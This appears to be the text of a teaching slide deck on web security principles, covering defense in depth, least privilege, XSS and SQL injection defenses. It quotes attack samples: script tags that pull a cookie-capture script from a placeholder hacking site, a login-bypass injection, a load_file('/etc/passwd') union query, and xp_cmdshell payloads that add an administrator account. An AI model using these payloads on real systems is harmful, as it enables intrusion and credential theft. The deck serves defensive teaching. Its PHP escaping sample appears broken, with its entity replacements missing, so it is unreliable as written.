General Principles of Web Security

Agenda Introduction Our primary security principles Cross site scripting SQL injection Questions

Principle 1: Defense in Depth Use multiple layers to protect against defense failure Hardware firewalls, software firewalls, IPSEC, NAT filtering, load balancers, IP restriction Why? Because shi*t happens! EGO

Example Configuration Windows 2003 Web Server running a internal USCnet web application IIS 6, SQL Server 2005 Security layers: Software/hardware firewall IPSEC rules IIS IP restriction Disable remote connections on SQL server Selected data encryption

Principle 2: Start with the Minimum Start with all options, features, packages, ports, roles, modules turned off or disabled Enable individual items as needed Match project requirements, not perceived ease-of-use

Example: Database Account The account that the application uses against the database server Reduce the objects (tables, views, stored procedures, function) it has access to Reduce the roles (create, update, delete)

Real Example: Alumni Database WIMP platform: Windows, IIS, MySQL, PHP SQL injection vulnerable

Summary Principle 1: Defense in Depth Principle 2: Start with the Minimum

Cross Site Scripting (XSS) When a user inserts custom (read: malicious) code into your application that runs on the pages of other uses Any page that outputs user input is theoretically vulnerable

Just a Few Dangerous Tags <applet> <body> <embed> <frame> <script> <frameset> <html> <object> <iframe> <img> <style> <layer> <link> <ilayer> <meta>

Remote Content is Bad <script language=“javascript” src=“http://myhackingsite.com/cookiecapture.js”> </script> <iframe src=“http://myhackingsite.com/yankeessuck.js”> </iframe>

Core Principles Principle 1: Constrain input Assume input is malicious Validate all input Principle 2: Encode output Escape “<“, “>” and “&”

Validate Datetime: ASP.NET Example Need code sample for convert string to date time

Encoding Output: PHP Sample function cleanString($str) { $str = str_replace("\"",""",$str); // use PHPs tag stripping function $str = strip_tags($str); // there could still be some malformed HTML, so now we escape the rest $str = str_replace("<","<",$str); $str = str_replace(">",">",$str); return $str; }

Encoding Output: C# Code Sample <html> <form id="form1" runat="server"> <div> Color: <asp:TextBox ID="TextBox1" runat="server"></asp:TextBox><br /> <asp:Button ID="Button1" runat="server" Text="Show color" OnClick="Button1_Click" /><br /> <asp:Literal ID="Literal1" runat="server"></asp:Literal> </div> </form> </html> <script runat="server"> private void Page_Load(Object Src, EventArgs e) { protected void Button1_Click(object sender, EventArgs e) { Literal1.Text = @"<span style=""color:" + Server.HtmlEncode(TextBox1.Text) + @""">Color example</span>"; } } </Script> (Taken from Channel9.com.)

Side note Even attributes are not safe! Using an attribute of IMG: <IMG SRC="javascript:alert('hello');">

General Recommendations Validate your input! Use centrally defined methods to validate data types Escape all “<“, “>” and “&” on output Don’t relay on input sanitation Use a variable string naming convention: $sComment vs. $usComment Indicate if a string variable is safe (s) or unsafe (us) to output

The Importance of Coding Standards Intention of code becomes more predictable 90% of development is reading code ; 10% is writing As Joel Splotsky writes, it helps “make wrong code look wrong”

PHP Code Example Bad: $name = $_URL[“name”]; … echo $name; // there is a bug here, but I can’t see it Good: $usName = $_URL[“name”]; $sName = Encode($usName); … Echo $usName; // bug!

Recommendations Continued For AJAX script, use innerTEXT in-place of innerHTML where possible Set page content type Use built-in functions to help strip HTML, but don’t relay on them

Page Content Type Slide [Need content here.]

ASP.NET Recommendations Enable request validation Convert all input data into .NET data types and catch conversion errors Use HttpUtility.HtmlEncode for output Use HttpUtility.UrlEncode for output of links Use System.Text.RegularExpressions.Regex to validate cookies, query strings, etc.

Quick Steps to Fix Existing Code Step 1: Make a list of all pages that generate output to a HTML page Step 2: Identify which output comes from user input Step 3: Validate all input parameters immediately before use Step 4: Escape all output

SQL Injection When SQL commands can be passed directly from the end-user to the database

Good: Bad: Cool web app Database Cool web app Database

SQL Login Routine Given: “SELECT COUNT(*) FROM Users WHERE Username = “$username” AND Password=“$Password” For emond and mypass : SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“mypass” For emond and “ OR 1=1 : “SELECT COUNT(*) FROM Users WHERE Username = “emond” AND Password=“” OR 1=1

Why Dangerous? You can DROP entire tables Wipe millions of records with one command Access to other data Even run commands on the server SQL Server: xp_cmdshell Others

Getting Access to the Server Linux based MySQL ' union select 1, (load_file( ' /etc/passwd ' )),1,1,1; MS SQL Windows Password Creation '; exec xp_cmdshell ' net user /add victor Pass123 '-- '; exec xp_cmdshell ' net localgroup /add administrators victor ' -- Starting Services '; exec master..xp_servicecontrol ' start ', 'FTP Publishing ' -- From “Advanced SQL Injection”

Continued Almost all databases: MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Using most languages: Coldfusion, ASP.NET, ASP, PHP, JSP/Java, Javascript, VB, others… SQL injection is not a database design flaw, it’s a custom application implementation flaw

Core Principle #1 Principle 1: Constrain input Type, length, format and range Use regular expressions Enforce data types

Principle 1: Constrain Input Example: ASP.NET SSN Validation: <%@ language="C#" %> <form id="form1" runat="server"> <asp:TextBox ID="SSN" runat="server"/> <asp:RegularExpressionValidator ID="regexpSSN" runat="server" ErrorMessage="Incorrect SSN Number" ControlToValidate="SSN" ValidationExpression="^\d{3}-\d{2}-\d{4}$" /> </form>

Core Principle #2 Control the way you call SQL: Use escape wrapper (OK) Use parameter replacement (BETTER) Use stored procedures (BEST)

Principle 2: Use an Escape Wrapper $query_result = mysql_query ( "select * from users where name = '" . mysql_real_escape_string($user_name) . "'" ); select * from users where name = ‘sally’s’ becomes select * from users where name = ‘sally’’s’

Principle 2: Use Parameter Replacement using( SqlConnection con = (acquire connection) ) { con.Open(); using( SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE name = @userName ", con) ) { cmd.Parameters.AddWithValue("@userName", userName); using( SqlDataReader rdr = cmd.ExecuteReader() ){ ... } } }

Principle 2: Use Stored Procedures using (SqlConnection connection = new SqlConnection(connectionString)) { DataSet userDataset = new DataSet(); SqlDataAdapter myCommand = new SqlDataAdapter( " LoginStoredProcedure ", connection); myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11); myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text; myCommand.Fill(userDataset); }

Principle 3: Harden the Environment Reduce SQL account permissions Remove unneeded system stored procedures Audit password strength

Other Considerations: Logging Consider creating a routine that logs suspicious database activity Track date/time, IP address, all HTML headers/input parameters Review periodically Consider having the routine create a new support ticket in your bug database

SQL Injection Principles Summary Principle 1: Validate your input! Principle 2: Build your dynamic SQL better Principle 3: Harden the OS

Sources http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToPreventCrossSiteScripting http://channel9.msdn.com/wiki/default.aspx/Channel9.HowToProtectFromSqlInjectionInAspNet http://en.wikipedia.org/wiki/Cross_site_scripting http://www.joelonsoftware.com/printerfriendly/articles/Wrong.html “ Advanced SQL Injection” by Victor Chapela, Sm4rt Security Services , Accessed April 20, 2007 (presentation online: http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt) Microsoft certification; security courses http://www.microsoft.com/learning/mcp/mcsd/requirementsdotnet.mspx MSDN Channel 9 http://channel9.msdn.com/wiki/default.aspx/Channel9.HomePage

General Principles of Web Security

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